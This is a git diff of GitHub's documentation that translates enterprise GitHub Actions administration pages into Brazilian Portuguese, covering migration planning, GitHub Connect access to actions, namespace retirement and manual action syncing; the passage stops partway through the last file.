-intro: "Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider."
+title: Fazendo a migração da sua empresa para o GitHub Actions
+shortTitle: Migrar para Ações
+intro: 'Aprenda a planejar uma migração para {% data variables.product.prodname_actions %} para sua empresa a partir de outro provedor.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -12,76 +12,76 @@ topics:
   - Enterprise
 ---
 
-## About enterprise migrations to {% data variables.product.prodname_actions %}
+## Sobre as migrações corporativas para {% data variables.product.prodname_actions %}
 
-To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems.
+Para fazer a migração da sua empresa para {% data variables.product.prodname_actions %} a partir de um sistema existente, você pode planejar a migração, concluir a migração e desativar os sistemas existentes.
 
-This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)."
+Este guia aborda considerações específicas sobre migrações. Para obter informações adicionais sobre a introdução de {% data variables.product.prodname_actions %} à sua empresa, consulte "[Apresentando {% data variables.product.prodname_actions %} à sua empresa](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). "
 
-## Planning your migration
+## Planejando a sua migração
 
-Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations.
+Antes de começar a fazer a migração da sua empresa para {% data variables.product.prodname_actions %}, você deverá identificar quais fluxos de trabalho serão migrados e como essas migrações afetarão suas equipes e, em seguida, planejar como e quando você concluirá as migrações.
 
-### Leveraging migration specialists
+### Aproveitando os especialistas em migração
 
-{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}.
+{% data variables.product.company_short %} pode ajudar com a sua migração, e você também pode beneficiar-se da compra de {% data variables.product.prodname_professional_services %}. Para obter mais informações, entre em contato com o seu representante dedicado ou {% data variables.contact.contact_enterprise_sales %}.
 
-### Identifying and inventorying migration targets
+### Identificando e armazenando as metas de migração
 
-Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system.
+Antes de fazer a migração para {% data variables.product.prodname_actions %}, você deverá ter um entendimento completo dos fluxos de trabalho usados pela empresa no seu sistema existente.
 
-First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind.
+Primeiro, crie um inventário da criação existente e libere os fluxos de trabalho dentro de sua empresa, recolha informações sobre quais os fluxos de trabalho que estão sendo ativamente utilizados e que devem ser migrados e quais podem ser deixados para trás.
 
-Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)."
+Em seguida, aprenda as diferenças entre o seu provedor atual e {% data variables.product.prodname_actions %}. Isso ajudará você a avaliar quaisquer dificuldades na migração de cada fluxo de trabalho, e onde sua empresa pode experimentar diferentes funcionalidades. Para obter mais informações, consulte "[Fazendo a migração para {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)".
 
-With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}.
+Com estas informações, você será capaz de determinar quais fluxos de trabalho você pode e deseja migrar para {% data variables.product.prodname_actions %}.
 
-### Determine team impacts from migrations
+### Determinar os impactos para a equipe a partir das migrações
 
-When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work.
+Ao mudar as ferramentas usadas na sua empresa, você influencia a forma de funcionar da sua equipe. Você deverá considerar como a transferência de um fluxo de trabalho dos seus sistemas existentes para {% data variables.product.prodname_actions %} afetará o trabalho diário dos seus desenvolvedores.
 
-Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make.
+Identifique todos os processos, integrações e ferramentas de terceiros que serão afetadas pela sua migração e faça um plano para quaisquer atualizações que você precise fazer.
 
-Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools?
+Considere como a migração pode afetar suas preocupações de conformidade. Por exemplo, as suas ferramentas de verificação de credenciais e análise de segurança funcionarão com {% data variables.product.prodname_actions %}, ou você precisará usar novas ferramentas?
 
-Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}.
+Identifique os portões e verificações em seu sistema existente e verifique se você pode implementá-los com {% data variables.product.prodname_actions %}.
 
-### Identifying and validating migration tools
+### Identificando e validando as ferramentas de migração
 
-Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide.
+As ferramentas de migração automatizadas podem traduzir os fluxos de trabalho da sua empresa da sintaxe do sistema existente para a sintaxe exigida por {% data variables.product.prodname_actions %}. Identifique ferramentas de terceiros ou entre em contato com seu representante dedicado ou com {% data variables.contact.contact_enterprise_sales %} para perguntar sobre ferramentas que {% data variables.product.company_short %} pode fornecer.
 
-After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected.
+Depois de identificar uma ferramenta para automatizar suas migrações, valide a ferramenta executando a ferramenta em alguns fluxos de trabalho de teste e verificando que os resultados são como esperado.
 
-Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete.
+As ferramentas automatizadas devem ser capazes de fazer a migração a maioria dos seus fluxos de trabalho, mas você provavelmente precisará reescrever manualmente pelo menos uma pequena porcentagem. Estime a quantidade de trabalho manual que você precisará concluir.
 
-### Deciding on a migration approach
+### Decidir uma abordagem de migração
 
-Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows.
+Determine a abordagem de migração que funcionará melhor para a sua empresa. As equipes menores poderão migrar todos os seus fluxos de trabalho de uma vez, com uma abordagem de "rasgar e substituir". Para as grandes empresas, uma abordagem iterativa pode ser mais realista. Você pode optar por ter uma equipe central que gerencie toda a migração ou pedir para que cada equipe trabalhe fazendo a migração dos seus próprios fluxos de trabalho.
 
-We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too.
+Recomendamos uma abordagem iterativa que combina gerenciamento ativo com autosserviço. Comece com um pequeno grupo de primeiros usuários que podem atuar como seus campeões internos. Identifique um punhado de fluxos de trabalho que são abrangentes o suficiente para representar a amplitude do seu negócio. Trabalhe com seus primeiros usuários para fazer a migração desses fluxos de trabalho para {% data variables.product.prodname_actions %}, iterando conforme necessário. Isto dará a outras equipas confiança de que os seus fluxos de trabalho também podem ser migrados.
 
-Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. 
+Em seguida, disponibilize {% data variables.product.prodname_actions %} para as outras partes da sua organização. Forneça recursos para ajudar estas equipes a migrar seus próprios fluxos de trabalho para {% data variables.product.prodname_actions %}, e informe às equipes quando os sistemas existentes serão desativados.
 
-Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable.
+Por fim, informe qualquer a equipe que ainda esteja usando seus sistemas antigos que conclua a migração dentro de um prazo específico. Podem mostrar os sucessos de outras equipas para garantir que a migração é possível e desejável.
 
-### Defining your migration schedule
+### Definindo o cronograma da sua migração
 
-After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}.
+Depois de decidir sobre uma abordagem de migração, crie um cronograma que descreve quando cada uma das suas equipes fará a migração dos seus fluxos de trabalho para {% data variables.product.prodname_actions %}.
 
-First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends.
+Primeiro, decida a data em que você deseja que sua migração seja concluída. Por exemplo, você pode planejar realizar a sua migração até o término do seu contrato com o seu provedor atual.
 
-Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver.
+Em seguida, trabalhe com as suas equipes para criar uma agenda que cumpra o seu prazo, sem sacrificar os objetivos de sua equipe. Veja a cadência da sua empresa e a carga de trabalho de cada equipe que você está pedindo para migrar. Coordene com cada equipe para entender seu cronograma de entrega e criar um plano que permita que a equipe faça a migração dos seus fluxos de trabalho em um momento que não impacte a sua capacidade de entregar.
 
-## Migrating to {% data variables.product.prodname_actions %}
+## Migrando para {% data variables.product.prodname_actions %}
 
-When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above.
+Quando você estiver pronto para iniciar a sua migração, traduza seus fluxos de trabalho existentes para {% data variables.product.prodname_actions %} usando a ferramenta automatizada e a reescrita manual que você planejou acima.
 
-You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts.
+Você também deverá manter artefatos de compilação antigos de seu sistema existente, talvez escrevendo um roteiro para arquivar os artefatos.
 
-## Retiring existing systems
+## Desativando sistemas existentes
 
-After your migration is complete, you can think about retiring your existing system.
+Depois que a migração for concluída, você poderá pensar em desativar o seu sistema existente.
 
-You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers.
+Você deverá executar os dois sistemas lado a lado por um período de tempo, enquanto você verifica que sua configuração de {% data variables.product.prodname_actions %} é estável, sem nenhuma degradação de experiência para os desenvolvedores.
 
-Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on.
+Por fim, você deverá descomissionar e desligar os sistemas antigos, e garantir que ninguém na sua empresa poderá voltar a ligar os sistemas antigos.
diff --git a/translations/pt-BR/content/admin/github-actions/index.md b/translations/pt-BR/content/admin/github-actions/index.md
index 73a6fd37b8..ee83a5018b 100644
--- a/translations/pt-BR/content/admin/github-actions/index.md
+++ b/translations/pt-BR/content/admin/github-actions/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing GitHub Actions for your enterprise
-intro: 'Enable {% data variables.product.prodname_actions %} on {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %}, and manage {% data variables.product.prodname_actions %} policies and settings.'
+title: Gerenciar o GitHub Actions para a sua empresa
+intro: 'Habilite {% data variables.product.prodname_actions %} em {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %} e gerencie as políticas e configurações de {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /enterprise/admin/github-actions
 versions:
@@ -15,7 +15,7 @@ children:
   - /enabling-github-actions-for-github-enterprise-server
   - /managing-access-to-actions-from-githubcom
   - /advanced-configuration-and-troubleshooting
-shortTitle: Manage GitHub Actions
+shortTitle: Gerenciar o GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
index 8dba3031c4..31178ebd50 100644
--- a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: About using actions in your enterprise
-intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.'
+title: Sobre como usar ações na sua empresa
+intro: '{% data variables.product.product_name %} inclui a maioria das ações de autoria de {% data variables.product.prodname_dotcom %} e tem opções para permitir o acesso a outras ações de {% data variables.product.prodname_dotcom_the_website %} e {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server
   - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server
@@ -13,34 +13,34 @@ type: overview
 topics:
   - Actions
   - Enterprise
-shortTitle: Add actions in your enterprise
+shortTitle: Adicionar ações à sua empresa
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.
+Os fluxos de trabalho de {% data variables.product.prodname_actions %} podem usar _ações_, que são tarefas individuais que você pode combinar para criar tarefas e personalizar seu fluxo de trabalho. Você pode criar suas próprias ações ou usar e personalizar ações compartilhadas pela comunidade {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.actions.enterprise-no-internet-actions %}
 
-## Official actions bundled with your enterprise instance
+## Ações oficiais agrupadas com a sua instância corporativa
 
 {% data reusables.actions.actions-bundled-with-ghes %}
 
-The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: <code>https://<em>HOSTNAME</em>/actions</code>.
+As ações oficiais empacotadas incluem `ações/checkout`, `actions/upload-artefact`, `actions/download-artefact`, `actions/labeler`, e várias ações de `actions/setup-`, entre outras. Para ver todas as ações oficiais incluídas na instância da sua empresa, acesse a organização das `ações` na sua instância: <code>https://<em>HOSTNAME</em>/actions</code>.
 
-Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)."
+Cada ação é um repositório na organização de `ações`, e cada repositório de ação inclui as tags necessárias, branches e commit de SHAs que seus fluxos de trabalho podem usar para fazer referência à ação. Para obter informações sobre como atualizar as ações oficiais empacotadas, consulte "[Usar a versão mais recente das ações oficiais empacotadas](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)".
 
 {% note %}
 
-**Note:** When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)."
+**Observação:** Ao usar ações de configuração (como `actions/setup-LANGUAGE`) em {% data variables.product.product_name %} com executores auto-hospedados, você pode precisar configurar o cache de ferramentas em executores que não possuem acesso à Internet. Para obter mais informações, consulte "[Configurar o cache da ferramenta em executores auto-hospedados sem acesso à internet](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)".
 
 {% endnote %}
 
-## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %}
+## Configurar o acesso a ações no {% data variables.product.prodname_dotcom_the_website %}
 
 {% data reusables.actions.access-actions-on-dotcom %}
 
-The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %}
+A abordagem recomendada é habilitar o acesso automático para todas as ações a partir de {% data variables.product.prodname_dotcom_the_website %}. Você pode fazer isso usando {% data variables.product.prodname_github_connect %} para integrar {% data variables.product.product_name %} com {% data variables.product.prodname_ghe_cloud %}. Para obter mais informações, consulte "[Habilitar acesso automático a ações de {% data variables.product.prodname_dotcom_the_website %} usando {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %}
 
-Alternatively, if you want stricter control over which actions are allowed in your enterprise, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)."
+Como alternativa, se você quiser ter um controle mais rigoroso sobre quais as ações que são permitidas na sua empresa, você pode fazer o download e sincronizar manualmente as ações na instância da sua empresa usando a ferramenta de `actions-sync`. Para obter mais informações, consulte "[Sincronizando ações manualmente com o {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)".
diff --git a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md
index d3ee731724..668cb45591 100644
--- a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md
+++ b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling automatic access to GitHub.com actions using GitHub Connect
-intro: 'To allow {% data variables.product.prodname_actions %} in your enterprise to use actions from {% data variables.product.prodname_dotcom_the_website %}, you can connect your enterprise instance to {% data variables.product.prodname_ghe_cloud %}.'
+title: Habilitar o acesso automático às ações do GitHub.com usando o GitHub Connect
+intro: 'Para permitir que {% data variables.product.prodname_actions %} na sua empresa use ações a partir de {% data variables.product.prodname_dotcom_the_website %}, você pode conectar a sua instância corporativa a {% data variables.product.prodname_ghe_cloud %}.'
 permissions: 'Site administrators for {% data variables.product.product_name %} who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable access to all {% data variables.product.prodname_dotcom_the_website %} actions.'
 redirect_from:
   - /enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect
@@ -13,25 +13,25 @@ topics:
   - Actions
   - Enterprise
   - GitHub Connect
-shortTitle: Use GitHub Connect for actions
+shortTitle: Usar GitHub Connect para ações
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About automatic access to {% data variables.product.prodname_dotcom_the_website %} actions
+## Sobre o acesso automático a ações de {% data variables.product.prodname_dotcom_the_website %}
 
-By default, {% data variables.product.prodname_actions %} workflows on {% data variables.product.product_name %} cannot use actions directly from {% data variables.product.prodname_dotcom_the_website %} or [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
+Por padrão, os fluxos de trabalho {% data variables.product.prodname_actions %} em {% data variables.product.product_name %} não podem usar ações diretamente de {% data variables.product.prodname_dotcom_the_website %} ou [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
 
-To make all actions from {% data variables.product.prodname_dotcom_the_website %} available on your enterprise instance, you can use {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For other ways of accessing actions from {% data variables.product.prodname_dotcom_the_website %}, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)."
+Para tornar todas as ações de {% data variables.product.prodname_dotcom_the_website %} disponíveis na sua instância corporativa, você pode usar {% data variables.product.prodname_github_connect %} para integrar {% data variables.product.product_name %} a {% data variables.product.prodname_ghe_cloud %}. Para saber outras formas de acessar ações a partir da {% data variables.product.prodname_dotcom_the_website %}, consulte "[Sobre o uso de ações na sua empresa](/admin/github-actions/about-using-actions-in-your-enterprise)".
 
-To use actions from {% data variables.product.prodname_dotcom_the_website %}, your self-hosted runners must be able to download public actions from `api.github.com`.
+Para usar ações de {% data variables.product.prodname_dotcom_the_website %}, seus executores auto-hospedados devem conseguir fazer o download das ações públicas de `api.github.com`.
 
-## Enabling automatic access to all {% data variables.product.prodname_dotcom_the_website %} actions
+## Habilitar o acesso automático a todas as ações de {% data variables.product.prodname_dotcom_the_website %}
 
 {% data reusables.actions.enterprise-github-connect-warning %}
 
-Before enabling access to all actions from {% data variables.product.prodname_dotcom_the_website %} on your enterprise instance, you must connect your enterprise to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+Antes de habilitar o acesso a todas as ações de {% data variables.product.prodname_dotcom_the_website %} na sua instância corporativa, você deve conectar sua empresa a {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte "[Conectando sua empresa a {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {%- ifversion ghes < 3.1 %}
@@ -39,33 +39,30 @@ Before enabling access to all actions from {% data variables.product.prodname_do
 {%- endif %}
 {% data reusables.enterprise-accounts.github-connect-tab %}
 {%- ifversion ghes > 3.0 or ghae %}
-1. Under "Users can utilize actions from GitHub.com in workflow runs", use the drop-down menu and select **Enabled**.
-  ![Drop-down menu to actions from GitHub.com in workflows runs](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png)
+1. Em "Os usuários podem usar as ações do GitHub.com em execuções do fluxo de trabalho", use o menu suspenso e selecione **Habilitado**. ![Menu suspenso para ações do GitHub.com em execuções do fluxos de trabalho](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png)
 {%- else %}
-1. Under "Server can use actions from GitHub.com in workflows runs", use the drop-down menu and select **Enabled**.
-  ![Drop-down menu to actions from GitHub.com in workflows runs](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down.png)
+1. Em "Servidor pode usar ações do GitHub.com em execuções de fluxos de trabalho", use o menu suspenso e selecione **Habilitado**. ![Menu suspenso para ações do GitHub.com em execuções do fluxos de trabalho](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down.png)
 {%- endif %}
 1. {% data reusables.actions.enterprise-limit-actions-use %}
 
 {% ifversion ghes > 3.2 or ghae-issue-4815 %}
 
-## Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %}
+## Retirada automática de namespaces para ações acessadas em {% data variables.product.prodname_dotcom_the_website %}
 
-When you enable {% data variables.product.prodname_github_connect %}, users see no change in behavior for existing workflows because {% data variables.product.prodname_actions %} searches {% data variables.product.product_location %} for each action before falling back to {% data variables.product.prodname_dotcom_the_website%}. This ensures that any custom versions of actions your enterprise has created are used in preference to their counterparts on {% data variables.product.prodname_dotcom_the_website%}.
+Ao habilitar {% data variables.product.prodname_github_connect %}, os usuários não verão nenhuma alteração no comportamento para fluxos de trabalho existentes porque {% data variables.product.prodname_actions %} procura {% data variables.product.product_location %} para cada ação antes de voltar a {% data variables.product.prodname_dotcom_the_website%}. Isso garante que todas as versões personalizadas de ações que a sua empresa criou sejam usadas em preferência para suas contrapartes em {% data variables.product.prodname_dotcom_the_website%}.
 
-Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %} blocks the potential for a man-in-the-middle attack by a malicious user with access to {% data variables.product.product_location %}. When an action on {% data variables.product.prodname_dotcom_the_website %} is used for the first time, that namespace is retired in {% data variables.product.product_location %}. This blocks any user creating an organization and repository in your enterprise that matches that organization and repository name on {% data variables.product.prodname_dotcom_the_website %}. This ensures that when a workflow runs, the intended action is always run.
+A desativação automática de namespaces para ações acessadas em {% data variables.product.prodname_dotcom_the_website %} bloqueia o potencial de um ataque de um intermediário por um usuário malicioso com acesso a {% data variables.product.product_location %}. Quando uma ação em {% data variables.product.prodname_dotcom_the_website %} é usada pela primeira vez, esse namespace fica desativado em {% data variables.product.product_location %}. Isso bloqueia qualquer usuário que criar uma organização e repositório na sua empresa que corresponda a essa organização e nome do repositório em {% data variables.product.prodname_dotcom_the_website %}. Isso garante que, quando um fluxo de trabalho é executado, a ação pretendida é sempre executada.
 
-After using an action from {% data variables.product.prodname_dotcom_the_website %}, if you want to create an action in {% data variables.product.product_location %} with the same name, first you need to make the namespace for that organization and repository available.
+Depois de usar uma ação de {% data variables.product.prodname_dotcom_the_website %}, se você deseja criar uma ação em {% data variables.product.product_location %} com o mesmo nome, primeiro você precisa tornar o namespace para a organização e repositório disponíveis.
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. In the left sidebar, under **Site admin** click **Retired namespaces**.
-3. Locate the namespace that you want use in {% data variables.product.product_location %} and click **Unretire**.
-   ![Unretire namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png)
-4. Go to the relevant organization and create a new repository.
+2. Na barra lateral esquerda, em **administrador do site** clique em **namespaces desativados**.
+3. Localize o namespace que você quer usar em {% data variables.product.product_location %} e clique em **Cancelar desativação**. ![Cancelar desativação do namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png)
+4. Acesse a organização relevante e crie um novo repositório.
 
    {% tip %}
 
-   **Tip:** When you unretire a namespace, always create the new repository with that name as soon as possible. If a workflow calls the associated action on {% data variables.product.prodname_dotcom_the_website %} before you create the local repository, the namespace will be retired again. For actions used in workflows that run frequently, you may find that a namespace is retired again before you have time to create the local repository. In this case, you can temporarily disable the relevant workflows until you have created the new repository.
+   **Dica:** quando você cancelar a desativação de um namespace, sempre crie o novo repositório com esse nome o mais rápido possível. Se um fluxo de trabalho chamar a ação associada em {% data variables.product.prodname_dotcom_the_website %} antes de criar o repositório local, o namespace será desativado novamente. Para ações usadas em fluxos de trabalho frequentemente, você pode considerar que um namespace foi desativado novamente antes de ter tempo para criar o repositório local. Neste caso, você pode desabilitar temporariamente os fluxos de trabalho relevantes até criar o novo repositório.
 
    {% endtip %}
 
diff --git a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
index ce67a6d17e..66f1f8bd15 100644
--- a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
+++ b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to actions from GitHub.com
-intro: 'Controlling which actions on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %} can be used in your enterprise.'
+title: Gerenciar o acesso a ações do GitHub.com
+intro: 'Controlar quais ações em {% data variables.product.prodname_dotcom_the_website %} e em {% data variables.product.prodname_marketplace %} podem ser usadas na sua empresa.'
 redirect_from:
   - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom
 versions:
@@ -14,6 +14,6 @@ children:
   - /manually-syncing-actions-from-githubcom
   - /using-the-latest-version-of-the-official-bundled-actions
   - /setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
-shortTitle: Manage access to actions
+shortTitle: Gerenciar acesso a ações
 ---
 
diff --git a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md
index 1af5a98dfd..33c62dce8f 100644
--- a/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md
+++ b/translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md
@@ -1,6 +1,6 @@
 ---
-title: Manually syncing actions from GitHub.com
-intro: 'For users that need access to actions from {% data variables.product.prodname_dotcom_the_website %}, you can sync specific actions to your enterprise.'
+title: Sincronização manual de ações do GitHub.com
+intro: 'Para usuários que precisam acessar as ações a partir de {% data variables.product.prodname_dotcom_the_website %}, você pode sincronizar ações específicas para sua empresa.'
 redirect_from:
   - /enterprise/admin/github-actions/manually-syncing-actions-from-githubcom
   - /admin/github-actions/manually-syncing-actions-from-githubcom
@@ -11,7 +11,7 @@ type: tutorial
 topics:
   - Actions
   - Enterprise
-shortTitle: Manually sync actions
+shortTitle: Sincronizar ações manualmente
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -21,39 +21,39 @@ shortTitle: Manually sync actions
 
 {% ifversion ghes or ghae %}
 
-The recommended approach of enabling access to actions from {% data variables.product.prodname_dotcom_the_website %} is to enable automatic access to all actions. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)."
